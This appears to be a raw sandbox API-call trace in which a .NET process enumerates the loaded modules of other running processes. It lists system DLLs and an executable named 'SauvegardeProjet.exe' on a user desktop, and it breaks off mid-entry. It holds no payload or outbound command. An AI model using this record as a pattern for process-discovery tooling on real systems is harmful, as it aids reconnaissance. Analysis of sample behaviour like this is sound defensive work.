[0063.541] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.541] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x751c0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0063.542] CoTaskMemFree (pv=0x4e69710) [0063.542] GetModuleInformation (in: hProcess=0x284, hModule=0x74630000, lpmodinfo=0x26bd4ec, cb=0xc | out: lpmodinfo=0x26bd4ec*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0063.542] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.542] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74630000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0063.543] CoTaskMemFree (pv=0x4e69710) [0063.543] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.543] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74630000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0063.543] CoTaskMemFree (pv=0x4e69710) [0063.543] GetModuleInformation (in: hProcess=0x284, hModule=0x750c0000, lpmodinfo=0x26bf61c, cb=0xc | out: lpmodinfo=0x26bf61c*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0063.544] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.544] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x750c0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0063.544] CoTaskMemFree (pv=0x4e69710) [0063.544] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.544] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x750c0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0063.545] CoTaskMemFree (pv=0x4e69710) [0063.545] GetModuleInformation (in: hProcess=0x284, hModule=0x72500000, lpmodinfo=0x26c1750, cb=0xc | out: lpmodinfo=0x26c1750*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0063.545] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.545] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72500000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0063.546] CoTaskMemFree (pv=0x4e69710) [0063.546] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.546] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72500000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0063.546] CoTaskMemFree (pv=0x4e69710) [0063.546] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x26c38f8, cb=0xc | out: lpmodinfo=0x26c38f8*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0063.547] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.547] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0063.547] CoTaskMemFree (pv=0x4e69710) [0063.547] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.547] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0063.548] CoTaskMemFree (pv=0x4e69710) [0063.548] GetModuleInformation (in: hProcess=0x284, hModule=0x74d00000, lpmodinfo=0x26c59fc, cb=0xc | out: lpmodinfo=0x26c59fc*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0063.548] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.548] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74d00000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0063.549] CoTaskMemFree (pv=0x4e69710) [0063.549] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.549] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74d00000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0063.550] CoTaskMemFree (pv=0x4e69710) [0063.550] GetModuleInformation (in: hProcess=0x284, hModule=0x71b50000, lpmodinfo=0x26c7b08, cb=0xc | out: lpmodinfo=0x26c7b08*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0063.550] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.550] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71b50000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0063.551] CoTaskMemFree (pv=0x4e69710) [0063.551] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.551] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71b50000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0063.551] CoTaskMemFree (pv=0x4e69710) [0063.551] GetModuleInformation (in: hProcess=0x284, hModule=0x71430000, lpmodinfo=0x26c9ca4, cb=0xc | out: lpmodinfo=0x26c9ca4*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0063.552] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.552] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71430000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0063.552] CoTaskMemFree (pv=0x4e69710) [0063.552] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.552] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71430000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0063.553] CoTaskMemFree (pv=0x4e69710) [0063.553] GetModuleInformation (in: hProcess=0x284, hModule=0x74ef0000, lpmodinfo=0x26cbe60, cb=0xc | out: lpmodinfo=0x26cbe60*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0063.554] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.554] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74ef0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0063.554] CoTaskMemFree (pv=0x4e69710) [0063.554] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.554] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74ef0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0063.555] CoTaskMemFree (pv=0x4e69710) [0063.555] GetModuleInformation (in: hProcess=0x284, hModule=0x74e70000, lpmodinfo=0x26ce054, cb=0xc | out: lpmodinfo=0x26ce054*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0063.555] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.555] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74e70000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0063.556] CoTaskMemFree (pv=0x4e69710) [0063.556] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.556] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74e70000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0063.557] CoTaskMemFree (pv=0x4e69710) [0063.557] GetModuleInformation (in: hProcess=0x284, hModule=0x75f60000, lpmodinfo=0x26d0194, cb=0xc | out: lpmodinfo=0x26d0194*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0063.557] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.557] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f60000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0063.558] CoTaskMemFree (pv=0x4e69710) [0063.558] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.558] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f60000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0063.559] CoTaskMemFree (pv=0x4e69710) [0063.559] GetModuleInformation (in: hProcess=0x284, hModule=0x744a0000, lpmodinfo=0x26d22a8, cb=0xc | out: lpmodinfo=0x26d22a8*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0063.559] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.559] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x744a0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0063.560] CoTaskMemFree (pv=0x4e69710) [0063.560] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.560] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x744a0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0063.561] CoTaskMemFree (pv=0x4e69710) [0063.561] GetModuleInformation (in: hProcess=0x284, hModule=0x707d0000, lpmodinfo=0x26d4474, cb=0xc | out: lpmodinfo=0x26d4474*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0063.562] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.562] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x707d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0063.562] CoTaskMemFree (pv=0x4e69710) [0063.562] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.562] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x707d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0063.563] CoTaskMemFree (pv=0x4e69710) [0063.563] GetModuleInformation (in: hProcess=0x284, hModule=0x74e50000, lpmodinfo=0x26d6664, cb=0xc | out: lpmodinfo=0x26d6664*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0063.563] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.563] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74e50000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0063.564] CoTaskMemFree (pv=0x4e69710) [0063.564] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.564] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74e50000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0063.565] CoTaskMemFree (pv=0x4e69710) [0063.565] GetModuleInformation (in: hProcess=0x284, hModule=0x74460000, lpmodinfo=0x26d887c, cb=0xc | out: lpmodinfo=0x26d887c*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0063.566] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.566] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74460000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0063.566] CoTaskMemFree (pv=0x4e69710) [0063.566] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.567] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74460000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0063.567] CoTaskMemFree (pv=0x4e69710) [0063.567] GetModuleInformation (in: hProcess=0x284, hModule=0x743d0000, lpmodinfo=0x26da988, cb=0xc | out: lpmodinfo=0x26da988*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0063.568] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.568] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x743d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0063.569] CoTaskMemFree (pv=0x4e69710) [0063.569] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.569] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x743d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0063.569] CoTaskMemFree (pv=0x4e69710) [0063.569] GetModuleInformation (in: hProcess=0x284, hModule=0x743b0000, lpmodinfo=0x26dcb50, cb=0xc | out: lpmodinfo=0x26dcb50*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0063.570] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.570] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x743b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0063.571] CoTaskMemFree (pv=0x4e69710) [0063.571] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.571] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x743b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0063.571] CoTaskMemFree (pv=0x4e69710) [0063.571] GetModuleInformation (in: hProcess=0x284, hModule=0x742e0000, lpmodinfo=0x26deca0, cb=0xc | out: lpmodinfo=0x26deca0*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0063.572] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.572] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x742e0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0063.573] CoTaskMemFree (pv=0x4e69710) [0063.573] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.573] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x742e0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0063.573] CoTaskMemFree (pv=0x4e69710) [0063.573] GetModuleInformation (in: hProcess=0x284, hModule=0x74150000, lpmodinfo=0x26e0e9c, cb=0xc | out: lpmodinfo=0x26e0e9c*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0063.574] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.574] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74150000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0063.575] CoTaskMemFree (pv=0x4e69710) [0063.575] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.575] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74150000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0063.576] CoTaskMemFree (pv=0x4e69710) [0063.576] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x26e304c, cb=0xc | out: lpmodinfo=0x26e304c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0063.576] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.576] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0063.577] CoTaskMemFree (pv=0x4e69710) [0063.577] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.577] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0063.578] CoTaskMemFree (pv=0x4e69710) [0063.578] GetModuleInformation (in: hProcess=0x284, hModule=0x74ce0000, lpmodinfo=0x26e5214, cb=0xc | out: lpmodinfo=0x26e5214*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0063.578] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.578] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74ce0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0063.579] CoTaskMemFree (pv=0x4e69710) [0063.579] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.579] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74ce0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0063.580] CoTaskMemFree (pv=0x4e69710) [0063.580] GetModuleInformation (in: hProcess=0x284, hModule=0x754b0000, lpmodinfo=0x26e7320, cb=0xc | out: lpmodinfo=0x26e7320*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0063.581] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.581] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x754b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0063.581] CoTaskMemFree (pv=0x4e69710) [0063.581] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.581] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x754b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0063.582] CoTaskMemFree (pv=0x4e69710) [0063.582] GetModuleInformation (in: hProcess=0x284, hModule=0x74050000, lpmodinfo=0x26e942c, cb=0xc | out: lpmodinfo=0x26e942c*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0063.583] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.583] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74050000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0063.584] CoTaskMemFree (pv=0x4e69710) [0063.584] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.584] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74050000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0063.585] CoTaskMemFree (pv=0x4e69710) [0063.585] GetModuleInformation (in: hProcess=0x284, hModule=0x76420000, lpmodinfo=0x26eb550, cb=0xc | out: lpmodinfo=0x26eb550*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0063.586] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.586] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76420000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0063.587] CoTaskMemFree (pv=0x4e69710) [0063.587] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.587] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76420000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0063.588] CoTaskMemFree (pv=0x4e69710) [0063.588] CloseHandle (hObject=0x284) returned 1 [0063.786] EnumProcessModules (in: hProcess=0x28c, lphModule=0x262112c, cb=0x100, lpcbNeeded=0x563b1f0 | out: lphModule=0x262112c, lpcbNeeded=0x563b1f0) returned 1 [0063.787] GetModuleInformation (in: hProcess=0x28c, hModule=0xea0000, lpmodinfo=0x262126c, cb=0xc | out: lpmodinfo=0x262126c*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0063.787] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.787] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0xea0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0063.787] CoTaskMemFree (pv=0x4e79258) [0063.787] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.787] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0xea0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0063.787] CoTaskMemFree (pv=0x4e79258) [0063.787] GetModuleInformation (in: hProcess=0x28c, hModule=0x77850000, lpmodinfo=0x26233e0, cb=0xc | out: lpmodinfo=0x26233e0*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0063.788] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.788] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x77850000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0063.788] CoTaskMemFree (pv=0x4e79258) [0063.788] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.788] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x77850000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0063.788] CoTaskMemFree (pv=0x4e79258) [0063.788] GetModuleInformation (in: hProcess=0x28c, hModule=0x75250000, lpmodinfo=0x26254e4, cb=0xc | out: lpmodinfo=0x26254e4*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0063.788] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.788] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75250000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0063.788] CoTaskMemFree (pv=0x4e79258) [0063.788] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.788] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75250000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0063.789] CoTaskMemFree (pv=0x4e79258) [0063.789] GetModuleInformation (in: hProcess=0x28c, hModule=0x75a20000, lpmodinfo=0x26275f0, cb=0xc | out: lpmodinfo=0x26275f0*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0063.789] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.789] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75a20000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0063.789] CoTaskMemFree (pv=0x4e79258) [0063.789] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.789] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75a20000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0063.789] CoTaskMemFree (pv=0x4e79258) [0063.789] GetModuleInformation (in: hProcess=0x28c, hModule=0x765f0000, lpmodinfo=0x2629704, cb=0xc | out: lpmodinfo=0x2629704*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0063.790] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.790] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x765f0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0063.790] CoTaskMemFree (pv=0x4e79258) [0063.790] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.790] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x765f0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0063.790] CoTaskMemFree (pv=0x4e79258) [0063.790] GetModuleInformation (in: hProcess=0x28c, hModule=0x75b30000, lpmodinfo=0x262b84c, cb=0xc | out: lpmodinfo=0x262b84c*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0063.790] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.790] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x75b30000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0063.791] CoTaskMemFree (pv=0x4e79258) [0063.791] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.791] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x75b30000, lpFilename=0x4e79258, nSize=0x800 | out: 